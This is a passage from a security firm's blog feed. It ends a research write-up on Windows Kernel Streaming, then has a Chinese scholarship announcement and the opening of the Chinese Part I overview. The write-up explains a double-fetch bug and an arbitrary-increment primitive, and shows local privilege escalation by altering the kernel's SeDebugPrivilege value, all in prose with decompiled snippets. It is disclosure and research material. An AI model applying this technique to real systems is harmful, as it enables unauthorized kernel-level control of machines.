[4], where the vulnerability is triggered, it must be <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_QUERYBUFFER</code>, and it is impossible to directly provide a kernel object as we might have expected.</p> <p><img src="/assets/img/blog/20241005/8.png" alt="" /></p> <p>Fortunately, <code class="language-plaintext highlighter-rouge">IOCTL_KS_ENABLE_EVENT</code> also uses <code class="language-plaintext highlighter-rouge">Neither I/O</code> to transmit data. It also presents a <code class="language-plaintext highlighter-rouge">Double Fetch</code> issue <strong>again</strong>.</p> <p><img src="/assets/img/blog/20241005/9.png" alt="" /></p> <p>As shown in the figure above, we can set the flag to <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_QUERYBUFFER</code> before calling IOCTL. When checking, it will handle it with <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_QUERYBUFFER</code>. Before the second <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code> call, we can change the flag to <code class="language-plaintext highlighter-rouge">KSEVENT_TYPE_ENABLE</code>.</p> <p>This way, we can successfully trigger the vulnerability and construct a specific kernel object to register the event.</p> <h3 id="trigger-the-event">Trigger the event</h3> <p>When would it use the kernel object that you constructed? When an event is triggered, ks will call <code class="language-plaintext highlighter-rouge">ks!ksGenerateEvent</code> through DPC. At this point, it will determine how to handle your event based on the <code class="language-plaintext highlighter-rouge">NotificationType</code> you specified.</p> <p>Let’s take a look at KsGenerateEvent</p> <pre><code class="language-cpp=">NTSTATUS __stdcall KsGenerateEvent(PKSEVENT_ENTRY EventEntry) { switch ( EventEntry-&gt;NotificationType ) { case KSEVENTF_DPC: ... if ( !KeInsertQueueDpc(EventEntry-&gt;EventData-&gt;Dpc.Dpc, EventEntry-&gt;EventData, 0LL) ) _InterlockedAdd(&amp;EventEntry-&gt;EventData-&gt;EventObject.Increment, 0xFFFFFFFF); //--------[6] ... case KSEVENTF_KSWORKITEM: ... KsIncrementCountedWorker(eventdata-&gt;KsWorkItem.KsWorkerObject); //-----------[7] } } </code></pre> <p>At this point, there are multiple ways to exploit this. The most straightforward method is to directly construct a DPC structure and queue a DPC to achieve arbitrary kernel code execution, which corresponds to the code snippet at [6]. However, the IRQL when calling KsGenerateEvent is <code class="language-plaintext highlighter-rouge">DISPATCH_LEVEL</code>, making it very difficult to construct a DPC object in User space, and the exploitation process will encounter many issues.</p> <p>Therefore, we opt for an alternative route using <code class="language-plaintext highlighter-rouge">KSEVENTF_KSWORKITEM</code> at [7]. This method involves passing in a kernel address and manipulating it to be recognized as a pointer to <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/ns-ks-kseventdata">KSWORKITEM</a>.</p> <p><img src="/assets/img/blog/20241005/10.png" alt="" /></p> <p>It can achieve an arbitrary kernel address increment by one. The entire process is illustrated in the diagram below.</p> <p><img src="/assets/img/blog/20241005/11.png" alt="" /></p> <p>When calling <code class="language-plaintext highlighter-rouge">IOCTL_KS_ENABLE_EVENT</code>, after constructing <code class="language-plaintext highlighter-rouge">KSEVENTDATA</code> to point to a kernel memory address, ks will handle it as a kernel object and register the specified event.</p> <p><img src="/assets/img/blog/20241005/12.png" alt="" /></p> <p>When triggered, ks will increment the content at our provided memory address. Therefore, we have a kernel arbitrary increment primitive here.</p> <h3 id="arbitrary-increment-primitive-to-eop">Arbitrary increment primitive to EoP</h3> <p>From arbitrary increment primitive to EoP, there are many methods that can be exploited, among which the most well-known are <a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf"><code class="language-plaintext highlighter-rouge">abuse token privilege</code></a> and <a href="https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/"><code class="language-plaintext highlighter-rouge">IoRing</code></a>. Initially, it seemed like this would be the end of it.</p> <p>However, both of these methods have certain limitations in this situation:</p> <h4 id="abuse-token-privilege">Abuse token Privilege</h4> <p>If we use the method of abusing token privilege for EoP, the key lies of the technique in overwriting <code class="language-plaintext highlighter-rouge">Privileges.Enable</code> and <code class="language-plaintext highlighter-rouge">Privileges.Present</code>. Since our vulnerability can only be incremented by one at a time, both fields need to be written to obtain <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>. The default values for these two fields are <code class="language-plaintext highlighter-rouge">0x602880000</code> and <code class="language-plaintext highlighter-rouge">0x800000</code>, which need to be changed to 0x602<strong>9</strong>80000 and 0x<strong>9</strong>00000. This means each field needs to be written 0x10 times, totaling 0x20 writes. Each write requires a race condition, which takes times and significantly reduces stability.</p> <h4 id="ioring">IoRing</h4> <p>Using IoRing to achieve arbitrary writing might be a simpler method. To achieve arbitrary write, you just need to overwrite <code class="language-plaintext highlighter-rouge">IoRing-&gt;RegBuffersCount</code> and <code class="language-plaintext highlighter-rouge">IoRing-&gt;RegBuffers</code>. However, a problem arises.</p> <p><img src="/assets/img/blog/20241005/13.png" alt="" /></p> <p>When triggering the arbitrary increment, if the original value is 0, it will call <code class="language-plaintext highlighter-rouge">KsQueueWorkItem</code>, where some corresponding complex processing will occur, leading to BSoD. The exploitation method of IoRing happens to encounter this situation…</p> <p><img src="/assets/img/blog/20241005/14.png" alt="" /></p> <p>Is it really impossible to exploit it stably?</p> <h4 id="lets-find-a-new-way-">Let’s find a new way !</h4> <blockquote> <p>When traditional exploitation methods hit a roadblock, it might be worthwhile to dive deeper into the core mechanics of the technique. You may unexpectedly discover new approaches along the way.</p> </blockquote> <p>After several days of contemplation, we decided to seek a new approach. However, starting from scratch might take considerable time and may not yield results. Therefore, we chose to derive new inspiration from two existing methods. First, let’s look at <code class="language-plaintext highlighter-rouge">abusing token privilege</code>. The key aspect here is exploiting a vulnerability to obtain <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>, allowing us to open high-privilege processes such as <code class="language-plaintext highlighter-rouge">winlogon</code>.</p> <p>The question arises: why does having <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code> allow you to open high-privilege processes?</p> <p>We need to take a look at <code class="language-plaintext highlighter-rouge">nt!PsOpenProcess</code> first.</p> <p><img src="/assets/img/blog/20241005/15.png" alt="" /></p> <p>From this code snippet, we can see that when we open the process, the kernel will use <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-sesingleprivilegecheck">SeSinglePrivilegeCheck</a> to check if you have SeDebugPrivilege. If you have it, you will be granted <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> permission, allowing you to perform any action on any process except PPL. As the name implies, it is intended for debugging purposes. However, it is worth noting that <code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code> is a global variable in <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code>.</p> <p><img src="/assets/img/blog/20241005/16.png" alt="" /></p> <p>It’s a <a href="https://learn.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-luid">LUID</a> structure that was initialized at system startup. The actual value is 0x14, indicating which bit in the <code class="language-plaintext highlighter-rouge">Privileges.Enable</code> and <code class="language-plaintext highlighter-rouge">Privileges.Present</code> fields represent <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>. Therefore, when we use NtOpenProcess, the system reads the value in this global variable</p> <p><img src="/assets/img/blog/20241005/17.png" alt="" /></p> <p>Once the value of <code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code> is obtained, it will be used to inspect the <code class="language-plaintext highlighter-rouge">Privileges</code> field in the Token to see if the <code class="language-plaintext highlighter-rouge">Enable</code> and <code class="language-plaintext highlighter-rouge">Present</code> fields are set. For <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>, it will check the 0x14 bit.</p> <p><img src="/assets/img/blog/20241005/18.png" alt="" /></p> <p>However, there is an interesting thing…</p> <p><img src="/assets/img/blog/20241005/19.png" alt="" /></p> <p>The global variable <code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code> is located in a writable section!</p> <p>A new idea was born.</p> <h4 id="make-abusing-token-privilege-great-again-">Make abusing token privilege great again !</h4> <p>By default, a normal user will have only a limited number of <code class="language-plaintext highlighter-rouge">Privileges</code>, as shown in this diagram.</p> <p><img src="/assets/img/blog/20241005/20.png" alt="" /></p> <p>We can notice that in most cases, <code class="language-plaintext highlighter-rouge">SeChangeNotifyPrivilege</code> is enabled. At this point, we can look at the initialization part and find that <code class="language-plaintext highlighter-rouge">SeChangeNotifyPrivilege</code> represents the value 0x17.</p> <p><img src="/assets/img/blog/20241005/21.png" alt="" /></p> <p>What would happen if we use the vulnerability to change <code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code> from 0x14 to 0x17?</p> <p><img src="/assets/img/blog/20241005/22.png" alt="" /></p> <p>As shown in the figure, in the <code class="language-plaintext highlighter-rouge">NtOpenProcess</code> flow, it will first get the value of <code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code>, and at this time the obtained value is 0x17 (SeChangeNotifyPrivilege)</p> <p><img src="/assets/img/blog/20241005/23.png" alt="" /></p> <p>The next check will verify the current process token using 0x17 to see if it has this <code class="language-plaintext highlighter-rouge">Privilege</code>. However, normal users generally have <code class="language-plaintext highlighter-rouge">SeChangeNotifyPrivilege</code>, so even if you don’t have <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>, you will still pass the check and obtain <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code>. In other words, anyone with <code class="language-plaintext highlighter-rouge">SeChangeNotifyPrivilege</code> can open a high-privilege process except PPL.</p> <p>Furthermore, by using the vulnerability mentioned above, we can change <code class="language-plaintext highlighter-rouge">nt!SeDebugPrivilege</code> from <strong>0x14 to 0x17</strong>. Since the original value is not 0, it will not be affected by <code class="language-plaintext highlighter-rouge">KsQueueWorkItem</code>, making it highly suitable for our purposes.</p> <p><img src="/assets/img/blog/20241005/24.png" alt="" /></p> <p>Once we can open a high-privilege process, the privilege escalation method is the same as the <code class="language-plaintext highlighter-rouge">abuse token privilege</code> approach so that we won’t elaborate on that here. Ultimately, we successfully achieved EoP on Windows 11 23H2 by again utilizing Proxying to kernel.</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/m2TNVDgz7CI?si=YJQ9_u7xoyVt1wRm" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <h4 id="remark">Remark</h4> <p>Actually, this technique also applies to other <code class="language-plaintext highlighter-rouge">Privilege</code>.</p> <ul> <li>SeTcbPrivilege = 0x7</li> <li>SeTakeOwnershipPrivilege = 0x9</li> <li>SeLoadDriverPrivilege = 0xa</li> <li>…</li> </ul> <h2 id="the-next--summary">The Next &amp; Summary</h2> <p>The focus of these two articles is primarily on how we analyze past vulnerabilities to discover new ones, how we gain new ideas from previous research, find new exploitation methods, new vulnerabilities, and new attack surfaces.</p> <p>There may still be many security issues of this bug class, and they might not be limited to Kernel Streaming and <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuilddeviceiocontrolrequest">IoBuildDeviceIoControlRequest</a>. I believe this is a design flaw in Windows, and if we search carefully, we might find more vulnerabilities.</p> <p>For this type of vulnerability, you need to pay attention to the timing of setting <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code>. If it is set to <code class="language-plaintext highlighter-rouge">KernelMode</code> and then user input is used, issues may arise. Moreover, this type of vulnerability is often very exploitable.</p> <p>In Kernel Streaming, I believe there are quite a few potential security vulnerabilities. There are also many components like <code class="language-plaintext highlighter-rouge">Hdaudio.sys</code> or <code class="language-plaintext highlighter-rouge">Usbvideo.sys</code> that might be worth examining and are suitable places for fuzzing. If you are a kernel driver developer, it is best not to only check <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> . There might still be issues within the Windows architecture. Finally, I strongly recommend everyone to update Windows to the latest version as soon as possible.</p> <h2 id="is-that-the-end-of-it-">Is that the end of it ?</h2> <p>Apart from proxy-based vulnerabilities, we have also identified many other bug classes, allowing us to discover over 20 vulnerabilities in Kernel Streaming. Some of these vulnerabilities are quite unique, so stay tuned for Part III.</p> <h2 id="reference">Reference</h2> <ul> <li><a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">Easy Local Windows Kernel Exploitation</a></li> <li><a href="https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/">One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 </a></li> </ul> https://devco.re/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2-en/ https://devco.re/blog/2024/10/05/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part2-en Sat, 05 Oct 2024 00:00:00 +0800 DEVCORE 2024 全國資訊安全獎學金、資安教育活動贊助計畫即日起開放報名 <p>繼輔仁大學及國立臺灣科技大學戴夫寇爾資訊安全獎學金頒布後,我們很高興地宣佈,2024 年度「全國資訊安全獎學金」及「資安教育活動贊助計畫」於即日起開放報名。</p> <p>自 2012 年創立之初,DEVCORE 即秉持著提升台灣資安競爭力、讓世界更安全的初衷,將人才培育視為己任,透過參與教育部資安人才培育計畫、創辦 DEVCORE 實習生計畫、啟動戴夫寇爾資安獎學金、辦理資安教育活動贊助計畫等方式,協助資安人才茁壯成長。</p> <h3 id="devcore-全國資訊安全獎學金">DEVCORE 全國資訊安全獎學金</h3> <p>DEVCORE 於 2020 年首次舉辦「戴夫寇爾資安獎學金計畫」,原為感念過去學生時代受到的多方資源及鼓勵,獎學金頒發範圍為經營團隊母校的輔仁大學及國立臺灣科技大學,後為培育更多有志青年學子,擴大獎學金範圍,開放全國各地學生報名申請,期待能推廣「駭客思維」、強化資安技能,並幫助在學學生了解資安產業生態及現況、降低學用落差,未來成為新一代的攻擊型資安人才,為資安產業注入新活力。</p> <p>「戴夫寇爾全國資訊安全獎學金」歡迎所有在資訊安全領域有出眾研究成果的學生報名申請,有意申請者須提出學習資安的動機與歷程,並繳交資安研究或比賽成果,我們將從中擇優選取 10 名,獲選者可獲最高 2 萬元的研究補助。詳細申請辦法如下:</p> <ul> <li>申請資格:全國各大專院校學生皆可以申請。</li> <li>獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍,我們將視申請狀況增加名額。</li> <li>申請時程: <ul> <li>2024/9/6 官網公告獎學金計畫資訊</li> <li>2024/9/6 - 2024/10/3 開放收件</li> <li>2024/10/31 公布審查結果,並將於 11 至 12 月間頒發獎學金</li> </ul> </li> <li>申請辦法: <ul> <li>請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ <a href="mailto:[email protected]">[email protected]</a>。</li> <li>信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。</li> <li>請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。</li> </ul> </li> <li>須檢附文件: <ul> <li><a href="/assets/files/scholarship/戴夫寇爾全國獎學金申請表.pdf">本獎學⾦申請表</a></li> <li>在學證明</li> <li>最近⼀學期成績單</li> <li>學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2000 字</li> <li>資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿、漏洞獎勵計畫、弱點研究、資訊安全比賽、資安工具研究、技術文章發表等成果</li> <li>社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等</li> <li>推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函</li> </ul> </li> </ul> <h3 id="devcore-資安教育活動贊助計劃">DEVCORE 資安教育活動贊助計劃</h3> <p>今年我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,凝聚台灣資安社群,加速培育台灣的資安新銳。</p> <ul> <li>申請資格:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。</li> <li>贊助金額:依各社團活動需求及與 DEVCORE 團隊討論而定,每次最高補助金額為新台幣 20,000 元整。</li> <li>申請時程:如欲申請此計畫的社團或活動,請於 2024/10/31 前透過以下連結填寫初步資料,我們將於 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。</li> <li>申請連結:<a href="https://forms.gle/dW3GcGjw5z8WQ9pV9" target="_blank">DEVCORE 2024 年資安教育活動贊助調查</a></li> <li>須提供資料: <ul> <li>申請資格:申請人需以各資安社群或社團名義提出申請。</li> <li>聯絡電子郵件</li> <li>想要辦理的活動類型</li> <li>想要辦理的活動方式</li> <li>活動總預算</li> <li>預計需要贊助金額</li> <li>代表人姓名、連絡電話</li> <li>團體名稱</li> <li>團體單位網址</li> </ul> </li> <li>注意事項: <ul> <li>申請案審核將經過 DEVCORE 內部審核機制,並保有最終核決權。</li> <li>本問卷僅供初步意願蒐集用途,符合申請資格者,DEVCORE 將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。</li> <li>DEVCORE 保有修改、暫停或終止本贊助計畫之權利。</li> </ul> </li> </ul> https://devco.re/blog/2024/09/06/2024-devcore-cybersecurity-scholarship-application-opens/ https://devco.re/blog/2024/09/06/2024-devcore-cybersecurity-scholarship-application-opens Fri, 06 Sep 2024 00:00:00 +0800 Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I <p><a href="/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/">English Version</a>, <a href="/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/">中文版本</a></p> <p>在過去的幾十年中 Windows Kernel 的漏洞層出不窮,熱門的攻擊面逐漸從 Win32k 慢慢轉移到 CLFS (Common Log File System) 上。微軟也持續且積極地修補這些漏洞,使得這些元件越來越安全。而下一個熱門的目標會是哪個元件呢?去年開始,MSKSSRV (Microsoft Kernel Streaming Service) 成為駭客喜愛的目標之一。這個驅動程式小到可以在幾天內完成分析。這是否意味著可能不太會有新的漏洞了?</p> <p>在這篇研究將講述一個長期被忽視的攻擊面,讓我們在兩個月內就找出了超過 10 個漏洞。此外,也將深入探討了一種 Proxy-Based 的邏輯漏洞類型,使我們可以忽略掉大多數的檢查,最終成功在 Pwn2Own Vancouver 2024 中,攻下 Windows 11 的項目。</p> <p>這份研究將分成數個部分來撰寫,分別講述不同的漏洞類型及漏洞型態,亦發表於 <a href="https://hitcon.org/2024/CMT/agenda/">HITCON CMT 2024</a> 中。</p> <h2 id="start-from-mskssrv">Start from MSKSSRV</h2> <blockquote> <p>對於一項漏洞研究來說,從歷史的漏洞看起,是不可或缺的。</p> </blockquote> <p>起初,我們為了挑戰 Pwn2Own Vancouver 2024 中 Windows 11 的項目,開始從過去的 Pwn2Own 以及近期 in-the-wild 的漏洞中開始審視,尋找可能的攻擊面。沿著歷史軌跡可以得知,過去主要負責 GDI 相關操作的 Win32K 一直是個很熱門的目標,從 2018 年以來,CLFS (Common Log File System) 也漸漸成為了熱門目標之一。這兩個元件都非常複雜,並且直到現在仍然有不少新漏洞出現,但要熟悉這兩個元件需要花不少時間,同時也有許多研究員在看這兩個元件,所以最終我們沒有先選擇分析他們。</p> <p>去年 <a href="https://www.synacktiv.com/en">Synacktiv</a> 在 Pwn2Own 2023 中,使用 MSKSSRV 的<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360">漏洞</a>成功攻下 Windows 11 後,便有不少人往這個元件開始看起,短時間內就又出現了<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36802">第二個漏洞 CVE-2023-36802</a>,這時 <a href="https://x.com/chompie1337">chompie</a> 也發表了一篇<a href="https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/">非常詳細的文章</a>,講述這個漏洞成因及其利用細節。由於這個元件非常的小,只看檔案大小約略只有 72 KB,可能認真看個幾天就可以全部看完,因此我們便挑了 MSKSSRV 來做歷史漏洞分析,看看是否有機會抓出其他漏洞。</p> <p>接下來我們會提一下這兩個漏洞,但不會著墨過多。</p> <h3 id="cve-2023-29360---logical-vulnerability">CVE-2023-29360 - logical vulnerability</h3> <p>第一個是 Synacktiv 在 Pwn2Own 2023 中所使用的漏洞 :</p> <p><img src="/assets/img/blog/20240823/1.png" alt="" /></p> <p>這是一個邏輯上的漏洞。當 MSKSSRV 使用 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmprobeandlockpages">MmProbeAndLockPages</a> 鎖定使用者給的記憶體位置作為 FrameBuffer 時,並沒有設置正確的 AccessMode,導致沒有檢查使用者指定的位置是否屬於 User space。如果使用者給的是 Kernel space 中的位置,它就會把指定的 Kernel 位置映射到 User space 給使用者用,最終導致使用者可以對 Kernel 中的任意位置寫入,利用上簡單且非常穩定,成為了受歡迎的<a href="https://www.cisa.gov/news-events/alerts/2024/02/29/cisa-adds-one-known-exploited-vulnerability-catalog">漏洞之一</a>。</p> <p>更多細節可以參考 Synacktiv 在 HITB 2023 HKT 的<a href="https://conference.hitb.org/hitbsecconf2023hkt/materials/D2T1%20-%20Windows%20Kernel%20Security%20-%20A%20Deep%20Dive%20into%20Two%20Exploits%20Demonstrated%20at%20Pwn2Own%20-%20Thomas%20Imbert.pdf">演講</a>及 <a href="https://x.com/Big5_sec">Nicolas Zilio(@Big5_sec)</a> 的<a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">部落格文章</a></p> <h3 id="cve-2023-36802---type-confusion">CVE-2023-36802 - type confusion</h3> <p>這個漏洞則是在 CVE-2023-29360 出來後沒多久被許多人發現,並且在微軟發佈更新時,就已經偵測到利用,是個非常容易被發現的漏洞。MSKSSRV 會先將內部使用的物件(FSContextReg、FSStreamReg)存放在 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_object">FILE_OBJECT</a> 的 FsContext2 中,然而後續使用時並沒有對 FsContext2 的<strong>型態</strong>做檢查,導致 type confusion,詳細內容可參考 <a href="https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/">IBM X-Force 的部落格</a>。</p> <p>至此之後,就很少有關於 MSKSSRV 的相關漏洞了。</p> <h3 id="but-is-that-the-end-of-it-">But is that the end of it ?</h3> <p>然而是否這樣就沒洞了呢?</p> <p><strong>而我要更準確地回答,No!</strong></p> <p>實際上整個 Kernel Streaming 就像下面這張圖這樣 :</p> <p><img src="/assets/img/blog/20240823/2.png" alt="" /></p> <p>MSKSSRV 只是冰山一角而已,實際上還有不少潛在的元件,上圖中所寫的都是屬於 Kernel Streaming 的一部分。實際往這方向挖掘之後,最終也在這個攻擊面上取得不少漏洞,就如同流水般的流出漏洞來。 <img src="/assets/img/blog/20240823/cover.png" alt="" /></p> <p>順帶一提,我在寫這篇部落格時,chompie 也發表了有關於他在今年 Pwn2Own Vancouver 2024 中所使用的漏洞 <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30089">CVE-2024-30089</a>。這個漏洞也在 MSKSSRV 中,該漏洞發生在 Reference Count 的處理,其成因也很有趣,不過這邊就不多談,詳細內容可參考她<a href="https://securityintelligence.com/x-force/little-bug-that-could/">發表的文章</a>。</p> <h2 id="brief-overview-of-kernel-streaming">Brief overview of Kernel Streaming</h2> <p>那麼,什麼是 Kernel Streaming 呢? 事實上,我們正常使用電腦情況下就會用到 :</p> <p><img src="/assets/img/blog/20240823/4.png" alt="" /></p> <p>在 Windows 系統上,當我們打開鏡頭、開啟音效以及麥克風等音訊設備時,系統需要從這些設備讀取你的聲音、影像等相關資料到 RAM 中。為了更高效地完成這些資料的傳輸,微軟提供了一個名為 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/kernel-streaming">Kernel Streaming</a> 的框架,用來處理這些資料。<strong>這個框架主要在 Kernel mode 下運行</strong>,具有低延遲、良好的擴充性和統一介面等特性,使你能更方便、更高效地處理串流(Stream)資料。</p> <p>Kernel Streaming 中,提供了三種多媒體驅動模型:port class、AVStream 和 stream class。這裡將主要介紹 port class 和 AVStream,而 stream class 因為較為罕見且過時,不會多加討論。</p> <h3 id="port-class"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/introduction-to-port-class">Port Class</a></h3> <p>大多數用於 PCI 和 DMA 型音效裝置的硬體驅動程式,它處理與音訊相關的數據傳輸,例如音量控制、麥克風輸入等等,主要會使用到的元件函式庫會是 portcls.sys。</p> <p><img src="/assets/img/blog/20240823/5.png" alt="" /></p> <h3 id="avstream"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/avstream-overview">AVStream</a></h3> <p>AVStream 則是由微軟提供的多媒體類驅動程式,主要支援僅限影片的串流和整合音訊/影片串流,目前跟影像有關的處理多數都跟這類別有關,例如你的視訊鏡頭、擷取卡等等。</p> <p><img src="/assets/img/blog/20240823/6.png" alt="" /></p> <p>實際上 Kernel Streaming 的使用很複雜,因此這裡只會簡單的敘述一下,更多詳細內容可以參考<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/">微軟官方文件</a>。</p> <h2 id="interact-with-device">Interact with device</h2> <p>在我們想要與音訊設備或是視訊鏡頭等設備互動時該怎麼做呢?其實就跟一般設備互動一樣,可以透過 CreateFile 函數來開啟一個設備。那麼這類型的設備,名稱又會是甚麼呢?其實這邊不太會像是 <code class="language-plaintext highlighter-rouge">\Devcie\NamedPipe</code> 這類型的名稱,而是會像下面這樣的路徑 :</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\?\hdaudio#subfunc_01&amp;ven_8086&amp;dev_2812&amp;nid_0001&amp;subsys_00000000&amp;rev_1000#6&amp;2f1f346a&amp;0&amp;0002&amp;0000001d#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\ehdmiouttopo </code></pre></div></div> <h3 id="enumerate-device">Enumerate device</h3> <p>每台電腦都可能不一樣,必須使用 <a href="https://learn.microsoft.com/zh-tw/windows/win32/api/setupapi/nf-setupapi-setupdigetclassdevsw">SetupDiGetClassDevs</a> 等 API 去列舉設備,一般來說 KS 系列的設備都會註冊在 <code class="language-plaintext highlighter-rouge">KSCATEGORY*</code> 底下,像是音訊設備就會註冊在 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/install/kscategory-audio">KSCATEGORY_AUDIO</a> 中。</p> <p>你也可以使用 KS 所提供的 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ksproxy/nf-ksproxy-ksopendefaultdevice">KsOpenDefaultDevice</a> 獲得該類別中第一個符合的 PnP 裝置的 Handle,實際上來說也只是 SetupDiGetClassDevs 和 CreateFile 的封裝而已。</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">hr</span> <span class="o">=</span> <span class="n">KsOpenDefaultDevice</span><span class="p">(</span><span class="n">KSCATEGORY_VIDEO_CAMERA</span><span class="p">,</span><span class="n">GENERIC_READ</span><span class="o">|</span><span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">g_hDevice</span><span class="p">)</span> </code></pre></div></div> <h3 id="kernel-streaming-object">Kernel Streaming object</h3> <p>我們在開啟這些設備之後,Kernel Streaming 會在 Kernel 中建立一些相關的 Instance,其中最為重要的就是 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ks-filters">KS Filters</a> 及 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ks-pins">KS Pins</a>。在 Kernel Streaming 的使用過程中,這些 Instance 會被頻繁使用,它們主要用來封裝設備的硬體功能,方便開發者透過統一的介面進行串流的處理。</p> <p>這邊先以 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/audio-filters">Audio Filters</a> 作為例子,其他多數大同小異,我們也只會簡單介紹,其他細節請自行參考微軟官方文件。</p> <h4 id="ks-filters">KS filters</h4> <p>每個 KS Filter 通常代表一個設備或設備的特定功能,在我們打開一個音訊設備後,大部分情況下會對應到一個 Kernel Filter,當我們從音訊設備讀取資料時,這些資料就會先通過這個 KS Filter 進行處理。</p> <p>概念上如下圖所示,中間的大框表示一個代表音訊設備的 KS filter。而我們想要從音訊設備中讀取資料時,會從左邊讀入 Filter,經過幾個節點進行處理後,從右邊輸出。</p> <p><img src="/assets/img/blog/20240823/7.png" alt="" /> (From: https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/audio-filters)</p> <h4 id="ks-pins">KS pins</h4> <p>上圖中,讀取及輸出資料的點稱為 Pin,Kernel 也有相對應的 KS Pin Object,用於描述這些 Pin 的行為,例如 Pin 是輸入端還是輸出端、支援的格式有哪些等。我們使用時必須在 Filters 上,<a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/nf-ks-kscreatepin">開啟一個 Pin</a> 來建立 Instance,才能從設備讀取或輸出資料。</p> <h3 id="ks-property">KS Property</h3> <p>這些 KS Object 都會有自己的 Property,每個 Property 都會有相對應的功能,前面所提到的 Pin 中的資料格式、音量大小及設備的狀態等等,這些都是一個 Property,通常會對應到一組 GUID,我們可以透過 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_property">IOCTL_KS_PROPERTY</a> 來讀取或設定這些 Property。</p> <p>這大大簡化了多媒體驅動程式的開發,並且確保了不同設備之間的一致性和可擴展性。</p> <h3 id="read-streams-from-webcam">Read streams from webcam</h3> <p>這邊就用個簡單的範例來介紹一下 Application 如何從視訊鏡頭讀取資料</p> <p>其最簡單的流程大概如這張圖所示 :</p> <p><img src="/assets/img/blog/20240823/8.png" alt="" /></p> <ol> 